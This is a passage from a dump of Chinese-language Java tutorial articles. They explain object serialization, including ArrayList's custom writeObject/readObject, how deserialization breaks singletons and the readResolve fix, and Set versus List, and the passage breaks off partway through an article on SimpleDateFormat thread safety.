    "content": "序列化是一种对象持久化的手段。普遍应用在网络传输、RMI等场景中。本文通过分析ArrayList的序列化来介绍Java序列化的相关内容。主要涉及到以下几个问题：\n\n> 怎么实现Java的序列化\n> \n> 为什么实现了java.io.Serializable接口才能被序列化\n> \n> transient的作用是什么\n> \n> 怎么自定义序列化策略\n> \n> 自定义的序列化策略是如何被调用的\n> \n> ArrayList对序列化的实现有什么好处\n\n## Java对象的序列化\n\nJava平台允许我们在内存中创建可复用的Java对象，但一般情况下，只有当JVM处于运行时，这些对象才可能存在，即，这些对象的生命周期不会比JVM的生命周期更长。但在现实应用中，就可能要求在JVM停止运行之后能够保存(持久化)指定的对象，并在将来重新读取被保存的对象。Java对象序列化就能够帮助我们实现该功能。\n\n使用Java对象序列化，在保存对象时，会把其状态保存为一组字节，在未来，再将这些字节组装成对象。必须注意地是，对象序列化保存的是对象的\"状态\"，即它的成员变量。由此可知，**对象序列化不会关注类中的静态变量**。\n\n除了在持久化对象时会用到对象序列化之外，当使用RMI(远程方法调用)，或在网络中传递对象时，都会用到对象序列化。Java序列化API为处理对象序列化提供了一个标准机制，该API简单易用。\n\n## 如何对Java对象进行序列化与反序列化\n\n在Java中，只要一个类实现了`java.io.Serializable`接口，那么它就可以被序列化。这里先来一段代码：\n\ncode 1 创建一个User类，用于序列化及反序列化\n\n    package com.hollis;\n    import java.io.Serializable;\n    import java.util.Date;\n    \n    /**\n     * Created by hollis on 16/2/2.\n     */\n    public class User implements Serializable{\n        private String name;\n        private int age;\n        private Date birthday;\n        private transient String gender;\n        private static final long serialVersionUID = -6849794470754667710L;\n    \n        public String getName() {\n            return name;\n        }\n    \n        public void setName(String name) {\n            this.name = name;\n        }\n    \n        public int getAge() {\n            return age;\n        }\n    \n        public void setAge(int age) {\n            this.age = age;\n        }\n    \n        public Date getBirthday() {\n            return birthday;\n        }\n    \n        public void setBirthday(Date birthday) {\n            this.birthday = birthday;\n        }\n    \n        public String getGender() {\n            return gender;\n        }\n    \n        public void setGender(String gender) {\n            this.gender = gender;\n        }\n    \n        @Override\n        public String toString() {\n            return \"User{\" +\n                    \"name='\" + name + '\\'' +\n                    \", age=\" + age +\n                    \", gender=\" + gender +\n                    \", birthday=\" + birthday +\n                    '}';\n        }\n    }\n    \n\ncode 2 对User进行序列化及反序列化的Demo\n\n    package com.hollis;\n    import org.apache.commons.io.FileUtils;\n    import org.apache.commons.io.IOUtils;\n    import java.io.*;\n    import java.util.Date;\n    \n    /**\n     * Created by hollis on 16/2/2.\n     */\n    public class SerializableDemo {\n    \n        public static void main(String[] args) {\n            //Initializes The Object\n            User user = new User();\n            user.setName(\"hollis\");\n            user.setGender(\"male\");\n            user.setAge(23);\n            user.setBirthday(new Date());\n            System.out.println(user);\n    \n            //Write Obj to File\n            ObjectOutputStream oos = null;\n            try {\n                oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n                oos.writeObject(user);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(oos);\n            }\n    \n            //Read Obj from File\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois = null;\n            try {\n                ois = new ObjectInputStream(new FileInputStream(file));\n                User newUser = (User) ois.readObject();\n                System.out.println(newUser);\n            } catch (IOException e) {\n                e.printStackTrace();\n            } catch (ClassNotFoundException e) {\n                e.printStackTrace();\n            } finally {\n                IOUtils.closeQuietly(ois);\n                try {\n                    FileUtils.forceDelete(file);\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n    \n        }\n    }\n    //output \n    //User{name='hollis', age=23, gender=male, birthday=Tue Feb 02 17:37:38 CST 2016}\n    //User{name='hollis', age=23, gender=null, birthday=Tue Feb 02 17:37:38 CST 2016}\n    \n\n## 序列化及反序列化相关知识\n\n1、在Java中，只要一个类实现了`java.io.Serializable`接口，那么它就可以被序列化。\n\n2、通过`ObjectOutputStream`和`ObjectInputStream`对对象进行序列化及反序列化\n\n3、虚拟机是否允许反序列化，不仅取决于类路径和功能代码是否一致，一个非常重要的一点是两个类的序列化 ID 是否一致（就是 `private static final long serialVersionUID`）\n\n4、序列化并不保存静态变量。\n\n5、要想将父类对象也序列化，就需要让父类也实现`Serializable` 接口。\n\n6、Transient 关键字的作用是控制变量的序列化，在变量声明前加上该关键字，可以阻止该变量被序列化到文件中，在被反序列化后，transient 变量的值被设为初始值，如 int 型的是 0，对象型的是 null。\n\n7、服务器端给客户端发送序列化对象数据，对象中有一些数据是敏感的，比如密码字符串等，希望对该密码字段在序列化时，进行加密，而客户端如果拥有解密的密钥，只有在客户端进行反序列化时，才可以对密码进行读取，这样可以一定程度保证序列化对象的数据安全。\n\n## ArrayList的序列化\n\n在介绍ArrayList序列化之前，先来考虑一个问题：\n\n> **如何自定义的序列化和反序列化策略**\n\n带着这个问题，我们来看`java.util.ArrayList`的源码\n\ncode 3\n\n    public class ArrayList<E> extends AbstractList<E>\n            implements List<E>, RandomAccess, Cloneable, java.io.Serializable\n    {\n        private static final long serialVersionUID = 8683452581122892189L;\n        transient Object[] elementData; // non-private to simplify nested class access\n        private int size;\n    }\n    \n\n笔者省略了其他成员变量，从上面的代码中可以知道ArrayList实现了`java.io.Serializable`接口，那么我们就可以对它进行序列化及反序列化。因为elementData是`transient`的，所以我们认为这个成员变量不会被序列化而保留下来。我们写一个Demo，验证一下我们的想法：\n\ncode 4\n\n    public static void main(String[] args) throws IOException, ClassNotFoundException {\n            List<String> stringList = new ArrayList<String>();\n            stringList.add(\"hello\");\n            stringList.add(\"world\");\n            stringList.add(\"hollis\");\n            stringList.add(\"chuang\");\n            System.out.println(\"init StringList\" + stringList);\n            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(\"stringlist\"));\n            objectOutputStream.writeObject(stringList);\n    \n            IOUtils.close(objectOutputStream);\n            File file = new File(\"stringlist\");\n            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));\n            List<String> newStringList = (List<String>)objectInputStream.readObject();\n            IOUtils.close(objectInputStream);\n            if(file.exists()){\n                file.delete();\n            }\n            System.out.println(\"new StringList\" + newStringList);\n        }\n    //init StringList[hello, world, hollis, chuang]\n    //new StringList[hello, world, hollis, chuang]\n    \n\n了解ArrayList的人都知道，ArrayList底层是通过数组实现的。那么数组`elementData`其实就是用来保存列表中的元素的。通过该属性的声明方式我们知道，他是无法通过序列化持久化下来的。那么为什么code 4的结果却通过序列化和反序列化把List中的元素保留下来了呢？\n\n### writeObject和readObject方法\n\n在ArrayList中定义了来个方法： `writeObject`和`readObject`。\n\n这里先给出结论:\n\n> 在序列化过程中，如果被序列化的类中定义了writeObject 和 readObject 方法，虚拟机会试图调用对象类里的 writeObject 和 readObject 方法，进行用户自定义的序列化和反序列化。\n> \n> 如果没有这样的方法，则默认调用是 ObjectOutputStream 的 defaultWriteObject 方法以及 ObjectInputStream 的 defaultReadObject 方法。\n> \n> 用户自定义的 writeObject 和 readObject 方法可以允许用户控制序列化的过程，比如可以在序列化的过程中动态改变序列化的数值。\n\n来看一下这两个方法的具体实现：\n\ncode 5\n\n    private void readObject(java.io.ObjectInputStream s)\n            throws java.io.IOException, ClassNotFoundException {\n            elementData = EMPTY_ELEMENTDATA;\n    \n            // Read in size, and any hidden stuff\n            s.defaultReadObject();\n    \n            // Read in capacity\n            s.readInt(); // ignored\n    \n            if (size > 0) {\n                // be like clone(), allocate array based upon size not capacity\n                ensureCapacityInternal(size);\n    \n                Object[] a = elementData;\n                // Read in all elements in the proper order.\n                for (int i=0; i<size; i++) {\n                    a[i] = s.readObject();\n                }\n            }\n        }\n    \n\ncode 6\n\n    private void writeObject(java.io.ObjectOutputStream s)\n            throws java.io.IOException{\n            // Write out element count, and any hidden stuff\n            int expectedModCount = modCount;\n            s.defaultWriteObject();\n    \n            // Write out size as capacity for behavioural compatibility with clone()\n            s.writeInt(size);\n    \n            // Write out all elements in the proper order.\n            for (int i=0; i<size; i++) {\n                s.writeObject(elementData[i]);\n            }\n    \n            if (modCount != expectedModCount) {\n                throw new ConcurrentModificationException();\n            }\n        }\n    \n\n那么为什么ArrayList要用这种方式来实现序列化呢？\n\n### why transient\n\nArrayList实际上是动态数组，每次在放满以后自动增长设定的长度值，如果数组自动增长长度设为100，而实际只放了一个元素，那就会序列化99个null元素。为了保证在序列化的时候不会将这么多null同时进行序列化，ArrayList把元素数组设置为transient。\n\n### why writeObject and readObject\n\n前面说过，为了防止一个包含大量空对象的数组被序列化，为了优化存储，所以，ArrayList使用`transient`来声明`elementData`。 但是，作为一个集合，在序列化过程中还必须保证其中的元素可以被持久化下来，所以，通过重写`writeObject` 和 `readObject`方法的方式把其中的元素保留下来。\n\n`writeObject`方法把`elementData`数组中的元素遍历的保存到输出流（ObjectOutputStream）中。\n\n`readObject`方法从输入流（ObjectInputStream）中读出对象并保存赋值到`elementData`数组中。\n\n至此，我们先试着来回答刚刚提出的问题：\n\n> 如何自定义的序列化和反序列化策略\n\n答：可以通过在被序列化的类中增加writeObject 和 readObject方法。那么问题又来了：\n\n> 虽然ArrayList中写了writeObject 和 readObject 方法，但是这两个方法并没有显示的被调用啊。\n> \n> **那么如果一个类中包含writeObject 和 readObject 方法，那么这两个方法是怎么被调用的呢?**\n\n## ObjectOutputStream\n\n从code 4中，我们可以看出，对象的序列化过程通过ObjectOutputStream和ObjectInputputStream来实现的，那么带着刚刚的问题，我们来分析一下ArrayList中的writeObject 和 readObject 方法到底是如何被调用的呢？\n\n为了节省篇幅，这里给出ObjectOutputStream的writeObject的调用栈：\n\n`writeObject ---> writeObject0 --->writeOrdinaryObject--->writeSerialData--->invokeWriteObject`\n\n这里看一下invokeWriteObject：\n\n    void invokeWriteObject(Object obj, ObjectOutputStream out)\n            throws IOException, UnsupportedOperationException\n        {\n            if (writeObjectMethod != null) {\n                try {\n                    writeObjectMethod.invoke(obj, new Object[]{ out });\n                } catch (InvocationTargetException ex) {\n                    Throwable th = ex.getTargetException();\n                    if (th instanceof IOException) {\n                        throw (IOException) th;\n                    } else {\n                        throwMiscException(th);\n                    }\n                } catch (IllegalAccessException ex) {\n                    // should not occur, as access checks have been suppressed\n                    throw new InternalError(ex);\n                }\n            } else {\n                throw new UnsupportedOperationException();\n            }\n        }\n    \n\n其中`writeObjectMethod.invoke(obj, new Object[]{ out });`是关键，通过反射的方式调用writeObjectMethod方法。官方是这么解释这个writeObjectMethod的：\n\n> class-defined writeObject method, or null if none\n\n在我们的例子中，这个方法就是我们在ArrayList中定义的writeObject方法。通过反射的方式被调用了。\n\n至此，我们先试着来回答刚刚提出的问题：\n\n> **如果一个类中包含writeObject 和 readObject 方法，那么这两个方法是怎么被调用的?**\n\n答：在使用ObjectOutputStream的writeObject方法和ObjectInputStream的readObject方法时，会通过反射的方式调用。\n\n* * *\n\n至此，我们已经介绍完了ArrayList的序列化方式。那么，不知道有没有人提出这样的疑问：\n\n<div id=\"What Serializable Did\">\n</div>\n\n> **Serializable明明就是一个空的接口，它是怎么保证只有实现了该接口的方法才能进行序列化与反序列化的呢？**\n\nSerializable接口的定义：\n\n    public interface Serializable {\n    }\n    \n\n读者可以尝试把code 1中的继承Serializable的代码去掉，再执行code 2，会抛出`java.io.NotSerializableException`。\n\n其实这个问题也很好回答，我们再回到刚刚ObjectOutputStream的writeObject的调用栈：\n\n`writeObject ---> writeObject0 --->writeOrdinaryObject--->writeSerialData--->invokeWriteObject`\n\nwriteObject0方法中有这么一段代码：\n\n    if (obj instanceof String) {\n                    writeString((String) obj, unshared);\n                } else if (cl.isArray()) {\n                    writeArray(obj, desc, unshared);\n                } else if (obj instanceof Enum) {\n                    writeEnum((Enum<?>) obj, desc, unshared);\n                } else if (obj instanceof Serializable) {\n                    writeOrdinaryObject(obj, desc, unshared);\n                } else {\n                    if (extendedDebugInfo) {\n                        throw new NotSerializableException(\n                            cl.getName() + \"\\n\" + debugInfoStack.toString());\n                    } else {\n                        throw new NotSerializableException(cl.getName());\n                    }\n                }\n    \n\n在进行序列化操作时，会判断要被序列化的类是否是Enum、Array和Serializable类型，如果不是则直接抛出`NotSerializableException`。\n\n## 总结\n\n1、如果一个类想被序列化，需要实现Serializable接口。否则将抛出`NotSerializableException`异常，这是因为，在序列化操作过程中会对类型进行检查，要求被序列化的类必须属于Enum、Array和Serializable类型其中的任何一种。\n\n2、在变量声明前加上该关键字，可以阻止该变量被序列化到文件中。\n\n3、在类中增加writeObject 和 readObject 方法可以实现自定义序列化策略\n\n## 参考资料\n\n[Java 序列化的高级认识][1]\n\n [1]: https://www.ibm.com/developerworks/cn/java/j-lo-serial/"
  },
  {
    "path": "docs/basics/java-basic/serialize-singleton.md",
    "content": "本文将通过实例+阅读Java源码的方式介绍序列化是如何破坏单例模式的，以及如何避免序列化对单例的破坏。\n\n> 单例模式，是设计模式中最简单的一种。通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问，从而方便对实例个数的控制并节约系统资源。如果希望在系统中某个类的对象只能存在一个，单例模式是最好的解决方案。关于单例模式的使用方式，可以阅读[单例模式的七种写法][1]\n\n但是，单例模式真的能够实现实例的唯一性吗？\n\n答案是否定的，很多人都知道使用反射可以破坏单例模式，除了反射以外，使用序列化与反序列化也同样会破坏单例。\n\n## 序列化对单例的破坏\n\n首先来写一个单例的类：\n\ncode 1\n\n    package com.hollis;\n    import java.io.Serializable;\n    /**\n     * Created by hollis on 16/2/5.\n     * 使用双重校验锁方式实现单例\n     */\n    public class Singleton implements Serializable{\n        private volatile static Singleton singleton;\n        private Singleton (){}\n        public static Singleton getSingleton() {\n            if (singleton == null) {\n                synchronized (Singleton.class) {\n                    if (singleton == null) {\n                        singleton = new Singleton();\n                    }\n                }\n            }\n            return singleton;\n        }\n    }\n    \n\n接下来是一个测试类：\n\ncode 2\n\n    package com.hollis;\n    import java.io.*;\n    /**\n     * Created by hollis on 16/2/5.\n     */\n    public class SerializableDemo1 {\n        //为了便于理解，忽略关闭流操作及删除文件操作。真正编码时千万不要忘记\n        //Exception直接抛出\n        public static void main(String[] args) throws IOException, ClassNotFoundException {\n            //Write Obj to file\n            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n            oos.writeObject(Singleton.getSingleton());\n            //Read Obj from file\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois =  new ObjectInputStream(new FileInputStream(file));\n            Singleton newInstance = (Singleton) ois.readObject();\n            //判断是否是同一个对象\n            System.out.println(newInstance == Singleton.getSingleton());\n        }\n    }\n    //false\n    \n\n输出结构为false，说明：\n\n> 通过对Singleton的序列化与反序列化得到的对象是一个新的对象，这就破坏了Singleton的单例性。\n\n这里，在介绍如何解决这个问题之前，我们先来深入分析一下，为什么会这样？在反序列化的过程中到底发生了什么。\n\n## ObjectInputStream\n\n对象的序列化过程通过ObjectOutputStream和ObjectInputputStream来实现的，那么带着刚刚的问题，分析一下ObjectInputputStream 的`readObject` 方法执行情况到底是怎样的。\n\n为了节省篇幅，这里给出ObjectInputStream的`readObject`的调用栈：\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2016/02/640.png\" alt=\"\" width=\"840\" height=\"309\" class=\"aligncenter size-full wp-image-3561\" />\n\n这里看一下重点代码，`readOrdinaryObject`方法的代码片段： code 3\n\n    private Object readOrdinaryObject(boolean unshared)\n            throws IOException\n        {\n            //此处省略部分代码\n    \n            Object obj;\n            try {\n                obj = desc.isInstantiable() ? desc.newInstance() : null;\n            } catch (Exception ex) {\n                throw (IOException) new InvalidClassException(\n                    desc.forClass().getName(),\n                    \"unable to create instance\").initCause(ex);\n            }\n    \n            //此处省略部分代码\n    \n            if (obj != null &&\n                handles.lookupException(passHandle) == null &&\n                desc.hasReadResolveMethod())\n            {\n                Object rep = desc.invokeReadResolve(obj);\n                if (unshared && rep.getClass().isArray()) {\n                    rep = cloneArray(rep);\n                }\n                if (rep != obj) {\n                    handles.setObject(passHandle, obj = rep);\n                }\n            }\n    \n            return obj;\n        }\n    \n\ncode 3 中主要贴出两部分代码。先分析第一部分：\n\ncode 3.1\n\n    Object obj;\n    try {\n        obj = desc.isInstantiable() ? desc.newInstance() : null;\n    } catch (Exception ex) {\n        throw (IOException) new InvalidClassException(desc.forClass().getName(),\"unable to create instance\").initCause(ex);\n    }\n    \n\n这里创建的这个obj对象，就是本方法要返回的对象，也可以暂时理解为是ObjectInputStream的`readObject`返回的对象。\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2016/02/641.jpeg\" alt=\"\" width=\"1080\" height=\"336\" class=\"aligncenter size-full wp-image-3563\" />\n\n> `isInstantiable`：如果一个serializable/externalizable的类可以在运行时被实例化，那么该方法就返回true。针对serializable和externalizable我会在其他文章中介绍。\n> \n> `desc.newInstance`：该方法通过反射的方式调用无参构造方法新建一个对象。\n\n所以。到目前为止，也就可以解释，为什么序列化可以破坏单例了？\n\n> 答：序列化会通过反射调用无参数的构造方法创建一个新的对象。\n\n那么，接下来我们再看刚开始留下的问题，如何防止序列化/反序列化破坏单例模式。\n\n## 防止序列化破坏单例模式\n\n先给出解决方案，然后再具体分析原理：\n\n只要在Singleton类中定义`readResolve`就可以解决该问题：\n\ncode 4\n\n    package com.hollis;\n    import java.io.Serializable;\n    /**\n     * Created by hollis on 16/2/5.\n     * 使用双重校验锁方式实现单例\n     */\n    public class Singleton implements Serializable{\n        private volatile static Singleton singleton;\n        private Singleton (){}\n        public static Singleton getSingleton() {\n            if (singleton == null) {\n                synchronized (Singleton.class) {\n                    if (singleton == null) {\n                        singleton = new Singleton();\n                    }\n                }\n            }\n            return singleton;\n        }\n    \n        private Object readResolve() {\n            return singleton;\n        }\n    }\n    \n\n还是运行以下测试类：\n\n    package com.hollis;\n    import java.io.*;\n    /**\n     * Created by hollis on 16/2/5.\n     */\n    public class SerializableDemo1 {\n        //为了便于理解，忽略关闭流操作及删除文件操作。真正编码时千万不要忘记\n        //Exception直接抛出\n        public static void main(String[] args) throws IOException, ClassNotFoundException {\n            //Write Obj to file\n            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"tempFile\"));\n            oos.writeObject(Singleton.getSingleton());\n            //Read Obj from file\n            File file = new File(\"tempFile\");\n            ObjectInputStream ois =  new ObjectInputStream(new FileInputStream(file));\n            Singleton newInstance = (Singleton) ois.readObject();\n            //判断是否是同一个对象\n            System.out.println(newInstance == Singleton.getSingleton());\n        }\n    }\n    //true\n    \n\n本次输出结果为true。具体原理，我们回过头继续分析code 3中的第二段代码:\n\ncode 3.2\n\n    if (obj != null &&\n                handles.lookupException(passHandle) == null &&\n                desc.hasReadResolveMethod())\n            {\n                Object rep = desc.invokeReadResolve(obj);\n                if (unshared && rep.getClass().isArray()) {\n                    rep = cloneArray(rep);\n                }\n                if (rep != obj) {\n                    handles.setObject(passHandle, obj = rep);\n                }\n            }\n    \n\n`hasReadResolveMethod`:如果实现了serializable 或者 externalizable接口的类中包含`readResolve`则返回true\n\n`invokeReadResolve`:通过反射的方式调用要被反序列化的类的readResolve方法。\n\n所以，原理也就清楚了，主要在Singleton中定义readResolve方法，并在该方法中指定要返回的对象的生成策略，就可以防止单例被破坏。\n\n## 总结\n\n在涉及到序列化的场景时，要格外注意他对单例的破坏。\n\n## 推荐阅读\n\n[深入分析Java的序列化与反序列化][2]\n\n [1]: http://www.hollischuang.com/archives/205\n [2]: http://www.hollischuang.com/archives/1140"
  },
  {
    "path": "docs/basics/java-basic/serialize.md",
    "content": "序列化是将对象转换为可传输格式的过程。 是一种数据的持久化手段。一般广泛应用于网络传输，RMI和RPC等场景中。\n\n反序列化是序列化的逆操作。\n\n序列化是将对象的状态信息转换为可存储或传输的形式的过程。一般是以字节码或XML格式传输。而字节码或XML编码格式可以还原为完全相等的对象。这个相反的过程称为反序列化。"
  },
  {
    "path": "docs/basics/java-basic/set-repetition.md",
    "content": "在Java的Set体系中，根据实现方式不同主要分为两大类。HashSet和TreeSet。\n\n1、TreeSet 是二叉树实现的，TreeSet中的数据是自动排好序的，不允许放入 null值  \n2、HashSet 是哈希表实现的，HashSet中的数据是无序的，可以放入 null值，但只能放入一个null，两者中的值都不能重复，就如数据库中的唯一约束\n\n在HashSet中，基本的操作都是由HashMap底层实现的，因为HashSet底层是用HashMap存储数据的。当向HashSet中添加元素的时候，首先计算元素的hashCode值，然后通过扰动计算和按位与的方式计算出这个元素的存储位置，如果这个位置为空，就将元素添加进去；如果不为空，则用equals方法比较元素是否相等，相等就不添加，否则找一个空位添加。\n\nTreeSet的底层是TreeMap的keySet()，而TreeMap是基于红黑树实现的，红黑树是一种平衡二叉查找树，它能保证任何一个节点的左右子树的高度差不会超过较矮的那棵的一倍。\n\nTreeMap是按key排序的，元素在插入TreeSet时compareTo()方法要被调用，所以TreeSet中的元素要实现Comparable接口。TreeSet作为一种Set，它不允许出现重复元素。TreeSet是用compareTo()来判断重复元素的。\n"
  },
  {
    "path": "docs/basics/java-basic/set-vs-list.md",
    "content": "List,Set都是继承自Collection接口。都是用来存储一组相同类型的元素的。\n\nList特点：元素有放入顺序，元素可重复 。\n\n有顺序，即先放入的元素排在前面。\n\nSet特点：元素无放入顺序，元素不可重复。\n\n无顺序，即先放入的元素不一定排在前面。\n不可重复，即相同元素在set中只会保留一份。所以，有些场景下，set可以用来去重。\n不过需要注意的是，set在元素插入时是要有一定的方法来判断元素是否重复的。这个方法很重要，决定了set中可以保存哪些元素。"
  },
  {
    "path": "docs/basics/java-basic/simpledateformat-thread-safe.md",
    "content": "在日常开发中，我们经常会用到时间，我们有很多办法在Java代码中获取时间。但是不同的方法获取到的时间的格式都不尽相同，这时候就需要一种格式化工具，把时间显示成我们需要的格式。\n\n最常用的方法就是使用SimpleDateFormat类。这是一个看上去功能比较简单的类，但是，一旦使用不当也有可能导致很大的问题。\n\n在阿里巴巴Java开发手册中，有如下明确规定：\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2018/11/规约1.png\" alt=\"\" width=\"1862\" height=\"154\" class=\"aligncenter size-full wp-image-3043\" />\n\n那么，本文就围绕SimpleDateFormat的用法、原理等来深入分析下如何以正确的姿势使用它。\n\n### SimpleDateFormat用法\n\nSimpleDateFormat是Java提供的一个格式化和解析日期的工具类。它允许进行格式化（日期 -> 文本）、解析（文本 -> 日期）和规范化。SimpleDateFormat 使得可以选择任何用户定义的日期-时间格式的模式。\n\n在Java中，可以使用SimpleDateFormat的format方法，将一个Date类型转化成String类型，并且可以指定输出格式。\n\n    // Date转String\n    Date data = new Date();\n    SimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    String dataStr = sdf.format(data);\n    System.out.println(dataStr);\n    \n\n以上代码，转换的结果是：2018-11-25 13:00:00，日期和时间格式由\"日期和时间模式\"字符串指定。如果你想要转换成其他格式，只要指定不同的时间模式就行了。\n\n在Java中，可以使用SimpleDateFormat的parse方法，将一个String类型转化成Date类型。\n\n    // String转Data\n    System.out.println(sdf.parse(dataStr));\n    \n\n#### 日期和时间模式表达方法\n\n在使用SimpleDateFormat的时候，需要通过字母来描述时间元素，并组装成想要的日期和时间模式。常用的时间元素和字母的对应表如下：\n\n![-w717][1]￼\n\n模式字母通常是重复的，其数量确定其精确表示。如下表是常用的输出格式的表示方法。\n\n![-w535][2]￼\n\n#### 输出不同时区的时间\n\n时区是地球上的区域使用同一个时间定义。以前，人们通过观察太阳的位置（时角）决定时间，这就使得不同经度的地方的时间有所不同（地方时）。1863年，首次使用时区的概念。时区通过设立一个区域的标准时间部分地解决了这个问题。\n\n世界各个国家位于地球不同位置上，因此不同国家，特别是东西跨度大的国家日出、日落时间必定有所偏差。这些偏差就是所谓的时差。\n\n现今全球共分为24个时区。由于实用上常常1个国家，或1个省份同时跨着2个或更多时区，为了照顾到行政上的方便，常将1个国家或1个省份划在一起。所以时区并不严格按南北直线来划分，而是按自然条件来划分。例如，中国幅员宽广，差不多跨5个时区，但为了使用方便简单，实际上在只用东八时区的标准时即北京时间为准。\n\n由于不同的时区的时间是不一样的，甚至同一个国家的不同城市时间都可能不一样，所以，在Java中想要获取时间的时候，要重点关注一下时区问题。\n\n默认情况下，如果不指明，在创建日期的时候，会使用当前计算机所在的时区作为默认时区，这也是为什么我们通过只要使用`new Date()`就可以获取中国的当前时间的原因。\n\n那么，如何在Java代码中获取不同时区的时间呢？SimpleDateFormat可以实现这个功能。\n\n    SimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    sdf.setTimeZone(TimeZone.getTimeZone(\"America/Los_Angeles\"));\n    System.out.println(sdf.format(Calendar.getInstance().getTime()));\n    \n\n以上代码，转换的结果是： 2018-11-24 21:00:00 。既中国的时间是11月25日的13点，而美国洛杉矶时间比中国北京时间慢了16个小时（这还和冬夏令时有关系，就不详细展开了）。\n\n> 如果你感兴趣，你还可以尝试打印一下美国纽约时间（America/New_York）。纽约时间是2018-11-25 00:00:00。纽约时间比中国北京时间早了13个小时。\n\n当然，这不是显示其他时区的唯一方法，不过本文主要为了介绍SimpleDateFormat，其他方法暂不介绍了。\n\n## SimpleDateFormat线程安全性\n\n由于SimpleDateFormat比较常用，而且在一般情况下，一个应用中的时间显示模式都是一样的，所以很多人愿意使用如下方式定义SimpleDateFormat：\n\n    public class Main {\n    \n        private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    \n        public static void main(String[] args) {\n            simpleDateFormat.setTimeZone(TimeZone.getTimeZone(\"America/New_York\"));\n            System.out.println(simpleDateFormat.format(Calendar.getInstance().getTime()));\n        }\n    }\n    \n\n**这种定义方式，存在很大的安全隐患。**\n\n#### 问题重现\n\n我们来看一段代码，以下代码使用线程池来执行时间输出。\n\n       /** * @author Hollis */ \n       public class Main {\n    \n        /**\n         * 定义一个全局的SimpleDateFormat\n         */\n        private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    \n        /**\n         * 使用ThreadFactoryBuilder定义一个线程池\n         */\n        private static ThreadFactory namedThreadFactory = new ThreadFactoryBuilder()\n            .setNameFormat(\"demo-pool-%d\").build();\n    \n        private static ExecutorService pool = new ThreadPoolExecutor(5, 200,\n            0L, TimeUnit.MILLISECONDS,\n            new LinkedBlockingQueue<Runnable>(1024), namedThreadFactory, new ThreadPoolExecutor.AbortPolicy());\n    \n        /**\n         * 定义一个CountDownLatch，保证所有子线程执行完之后主线程再执行\n         */\n        private static CountDownLatch countDownLatch = new CountDownLatch(100);\n    \n        public static void main(String[] args) {\n            //定义一个线程安全的HashSet\n            Set<String> dates = Collections.synchronizedSet(new HashSet<String>());\n            for (int i = 0; i < 100; i++) {\n                //获取当前时间\n                Calendar calendar = Calendar.getInstance();\n                int finalI = i;\n                pool.execute(() -> {\n                        //时间增加\n                        calendar.add(Calendar.DATE, finalI);\n                        //通过simpleDateFormat把时间转换成字符串\n                        String dateString = simpleDateFormat.format(calendar.getTime());\n                        //把字符串放入Set中\n                        dates.add(dateString);\n                        //countDown\n                        countDownLatch.countDown();\n                });\n            }\n            //阻塞，直到countDown数量为0\n            countDownLatch.await();\n            //输出去重后的时间个数\n            System.out.println(dates.size());\n        }\n    }\n    \n\n以上代码，其实比较简单，很容易理解。就是循环一百次，每次循环的时候都在当前时间基础上增加一个天数（这个天数随着循环次数而变化），然后把所有日期放入一个**线程安全的**、**带有去重功能**的Set中，然后输出Set中元素个数。\n\n> 上面的例子我特意写的稍微复杂了一些，不过我几乎都加了注释。这里面涉及到了[线程池的创建][3]、[CountDownLatch][4]、lambda表达式、线程安全的HashSet等知识。感兴趣的朋友可以逐一了解一下。\n\n正常情况下，以上代码输出结果应该是100。但是实际执行结果是一个小于100的数字。\n\n原因就是因为SimpleDateFormat作为一个非线程安全的类，被当做了共享变量在多个线程中进行使用，这就出现了线程安全问题。\n\n在阿里巴巴Java开发手册的第一章第六节——并发处理中关于这一点也有明确说明：\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2018/11/guiyue2.png\" alt=\"\" width=\"1878\" height=\"546\" class=\"aligncenter size-full wp-image-3044\" />\n\n那么，接下来我们就来看下到底是为什么，以及该如何解决。\n\n#### 线程不安全原因\n\n通过以上代码，我们发现了在并发场景中使用SimpleDateFormat会有线程安全问题。其实，JDK文档中已经明确表明了SimpleDateFormat不应该用在多线程场景中：\n\n> Date formats are not synchronized. It is recommended to create separate format instances for each thread. If multiple threads access a format concurrently, it must be synchronized externally.\n\n那么接下来分析下为什么会出现这种问题，SimpleDateFormat底层到底是怎么实现的？\n\n我们跟一下SimpleDateFormat类中format方法的实现其实就能发现端倪。\n\n![][5]￼\n\nSimpleDateFormat中的format方法在执行过程中，会使用一个成员变量calendar来保存时间。这其实就是问题的关键。\n\n由于我们在声明SimpleDateFormat的时候，使用的是static定义的。那么这个SimpleDateFormat就是一个共享变量，随之，SimpleDateFormat中的calendar也就可以被多个线程访问到。\n\n假设线程1刚刚执行完`calendar.setTime`把时间设置成2018-11-11，还没等执行完，线程2又执行了`calendar.setTime`把时间改成了2018-12-12。这时候线程1继续往下执行，拿到的`calendar.getTime`得到的时间就是线程2改过之后的。\n\n除了format方法以外，SimpleDateFormat的parse方法也有同样的问题。\n\n所以，不要把SimpleDateFormat作为一个共享变量使用。\n\n#### 如何解决\n\n前面介绍过了SimpleDateFormat存在的问题以及问题存在的原因，那么有什么办法解决这种问题呢？\n\n解决方法有很多，这里介绍三个比较常用的方法。\n\n**使用局部变量**\n\n    for (int i = 0; i < 100; i++) {\n        //获取当前时间\n        Calendar calendar = Calendar.getInstance();\n        int finalI = i;\n        pool.execute(() -> {\n            // SimpleDateFormat声明成局部变量\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            